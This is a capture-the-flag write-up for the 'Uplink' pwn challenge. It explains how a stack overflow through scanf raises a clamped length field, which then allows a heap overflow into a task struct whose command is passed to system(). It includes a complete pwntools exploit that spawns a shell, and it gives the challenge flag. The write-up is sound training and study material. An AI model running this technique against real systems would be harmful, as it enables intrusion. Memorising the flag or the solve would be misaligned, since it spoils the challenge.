arrow_backUS Cyber Games 2026
Pwnmedium

Uplink

by Pavel Knespl (capyplivl)

A 64-bit ORION-IV telemetry binary reads a length value with scanf("%d") and clamps it, but an unbounded scanf("%s") callsign read can overwrite that length afterward without re-clamping. The inflated length lets a later read() heap-overflow into a task struct whose command string is passed to system().

Solve

  1. The binary allocates current_packet = malloc(0x20) next to current_task (char cmd[0x40]; int enabled=1). Option 1 reads the callsign with unbounded %s into a 16-byte stack buffer sitting right before the TX_SZ length int. Option 3 does read(0, current_packet, TX_SZ). Option 4 runs system(current_task->cmd) when enabled.
  2. Overwrite TX_SZ to a large value via the callsign overflow, then upload 0x30 bytes of padding (packet 0x20 + task chunk header 0x10) followed by the command into current_task->cmd, then run diagnostics.
  3. Exploit (solve.py, in the challenge dir):
from pwn import *
import sys
context.binary = exe = ELF('./uplink', checksec=False)
CMD = b"/bin/sh"

io = remote(sys.argv[2], int(sys.argv[3])) if 'remote' in sys.argv else process(exe.path)

io.recvuntil(b'buffer limit (1-31): '); io.sendline(b'1')
io.recvuntil(b'cmd> ');      io.sendline(b'1')
io.recvuntil(b'callsign: '); io.sendline(b'A'*16 + p32(0x100))
io.recvuntil(b'cmd> ');      io.sendline(b'3')
io.recvuntil(b'payload: ');  io.send(b'B'*0x30 + CMD + b'\x00')
io.recvuntil(b'cmd> ');      io.sendline(b'4')
io.interactive()
  1. Run against the live instance: python3 solve.py remote <host> <port>, then cat flag.txt (or /flag*) at the shell.

Flag: SVIBGR{0v3rfl0w_70_7h3_m00n_552436aa}